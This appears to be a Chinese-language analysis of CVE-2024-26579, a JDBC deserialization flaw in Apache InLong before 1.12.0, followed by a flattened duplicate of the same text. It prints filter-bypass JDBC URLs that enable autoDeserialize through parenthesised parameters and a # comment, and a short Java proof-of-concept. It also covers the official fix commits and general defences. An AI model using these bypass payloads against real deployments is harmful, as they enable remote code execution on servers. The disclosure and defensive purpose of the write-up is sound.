Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)浅析
字数 1436 2025-08-19 12:41:48

Apache InLong JDBC反序列化漏洞(CVE-2024-26579)深度分析

0x00 漏洞概述

Apache InLong是一个开源的高性能数据集成框架,支持数据接入、同步和订阅,同时具备批处理和流处理能力。在1.12.0之前的版本中,存在一个JDBC反序列化漏洞(CVE-2024-26579),允许攻击者在特定条件下远程执行任意代码。

0x01 漏洞详情

影响范围

  • 受影响组件: org.apache.inlong:inlong-manager
  • 受影响版本: [1.7.0, 1.12.0)

漏洞本质

漏洞源于MySQLSensitiveUrlUtils类对JDBC连接字符串参数的处理不完善:

  1. 仅限制了?形式的参数传递
  2. 未正确处理()形式的参数传递
  3. 未过滤#注释符

攻击者可利用这些缺陷绕过安全限制,注入autoDeserializeallowLoadLocalInfile等危险参数。

0x02 漏洞分析

现有防护机制(1.11.0版本)

org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive方法实现:

  1. URL解码:循环使用URLDecoder.decode解码,直到没有百分号编码字符
  2. 空白符移除:通过正则InlongConstants.REGEX_WHITESPACE移除所有空白字符
  3. 参数处理
    • 检查是否包含?,拆分键值对
    • 检查参数是否在敏感参数Map中,跳过敏感参数
    • 强制添加autoDeserialize=false覆盖潜在恶意参数

绕过方式

  1. 利用()传递参数

    • MySQL Connector/J支持通过()在authority部分传递参数
    • 两种格式:
      // 键值对形式
      jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test?
      
      // address=(键值对形式)
      jdbc:mysql://address=(host=127.0.0.1)(port=54324)(queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?
      
  2. 利用#注释符

    • #后的内容会被MySQL Connector/J视为注释
    • 可注释掉防护机制强制添加的安全参数

完整利用链

  1. 攻击者通过DataNodeController#testConnection接口提交恶意JDBC URL

  2. 调用链:

    DataNodeController.testConnection() 
    → StarRocksDataNodeOperator.testConnection() 
    → StarRocksDataNodeDTO.convertToJdbcUrl() 
    → MySQLSensitiveUrlUtils.filterSensitive()
    → StarRocksJdbcUtils.getConnection()
    
  3. 最终在建立MySQL连接时触发反序列化

漏洞验证代码

try {
    String url = "jdbc:mysql://address=(host=127.0.0.1)(port=54324)(queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#";
    String jdbcURL = MySQLSensitiveUrlUtils.filterSensitive(url);
    Class.forName("com.mysql.cj.jdbc.Driver");
    DriverManager.getConnection(jdbcURL, "CB 1.9", "");
} catch (Exception e) {
    e.printStackTrace();
}

0x03 修复方案

官方修复

  1. 升级至1.12.0或更高版本
  2. 关键修复commit:
    • a59a814:增加对#注释符的处理
    • eef8d05:增加字符串替换逻辑,处理autoDeserialize=true等恶意参数

临时缓解措施

  1. 限制JDBC连接字符串的输入格式
  2. 禁止使用()形式的参数传递
  3. 过滤#注释符

0x04 防御建议

针对JDBC Attack的通用防护策略:

  1. 严格校验JDBC连接字符串

    • 禁止直接传递完整JDBC URL
    • 使用预定义模板解析各字段
    • 对各字段(host、port、dbname等)分别进行安全校验
  2. 参数过滤

    • 处理所有形式的参数传递(?();等)
    • 过滤注释符(#--等)
    • 移除所有空白字符(包括制表符、换行符等)
  3. 安全配置

    • 默认禁用危险功能(autoDeserialize=false)
    • 使用最小权限账户连接数据库
  4. 输入验证

    • 对拼接形成的JDBC URL进行最终校验
    • 使用安全的正则表达式匹配合法格式

0x05 相关资源

  1. 官方修复commit
  2. MySQL Connector/J URL格式文档
  3. 相关漏洞CVE-2023-46227
Apache InLong JDBC反序列化漏洞(CVE-2024-26579)深度分析 0x00 漏洞概述 Apache InLong是一个开源的高性能数据集成框架,支持数据接入、同步和订阅,同时具备批处理和流处理能力。在1.12.0之前的版本中,存在一个JDBC反序列化漏洞(CVE-2024-26579),允许攻击者在特定条件下远程执行任意代码。 0x01 漏洞详情 影响范围 受影响组件: org.apache.inlong:inlong-manager 受影响版本: [1.7.0, 1.12.0) 漏洞本质 漏洞源于 MySQLSensitiveUrlUtils 类对JDBC连接字符串参数的处理不完善: 仅限制了 ? 形式的参数传递 未正确处理 () 形式的参数传递 未过滤 # 注释符 攻击者可利用这些缺陷绕过安全限制,注入 autoDeserialize 、 allowLoadLocalInfile 等危险参数。 0x02 漏洞分析 现有防护机制(1.11.0版本) org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive 方法实现: URL解码 :循环使用 URLDecoder.decode 解码,直到没有百分号编码字符 空白符移除 :通过正则 InlongConstants.REGEX_WHITESPACE 移除所有空白字符 参数处理 : 检查是否包含 ? ,拆分键值对 检查参数是否在敏感参数Map中,跳过敏感参数 强制添加 autoDeserialize=false 覆盖潜在恶意参数 绕过方式 利用 () 传递参数 : MySQL Connector/J支持通过 () 在authority部分传递参数 两种格式: 利用 # 注释符 : # 后的内容会被MySQL Connector/J视为注释 可注释掉防护机制强制添加的安全参数 完整利用链 攻击者通过 DataNodeController#testConnection 接口提交恶意JDBC URL 调用链: 最终在建立MySQL连接时触发反序列化 漏洞验证代码 0x03 修复方案 官方修复 升级至1.12.0或更高版本 关键修复commit: a59a814 :增加对 # 注释符的处理 eef8d05 :增加字符串替换逻辑,处理 autoDeserialize=true 等恶意参数 临时缓解措施 限制JDBC连接字符串的输入格式 禁止使用 () 形式的参数传递 过滤 # 注释符 0x04 防御建议 针对JDBC Attack的通用防护策略: 严格校验JDBC连接字符串 : 禁止直接传递完整JDBC URL 使用预定义模板解析各字段 对各字段(host、port、dbname等)分别进行安全校验 参数过滤 : 处理所有形式的参数传递( ? 、 () 、 ; 等) 过滤注释符( # 、 -- 等) 移除所有空白字符(包括制表符、换行符等) 安全配置 : 默认禁用危险功能( autoDeserialize=false ) 使用最小权限账户连接数据库 输入验证 : 对拼接形成的JDBC URL进行最终校验 使用安全的正则表达式匹配合法格式 0x05 相关资源 官方修复commit MySQL Connector/J URL格式文档 相关漏洞CVE-2023-46227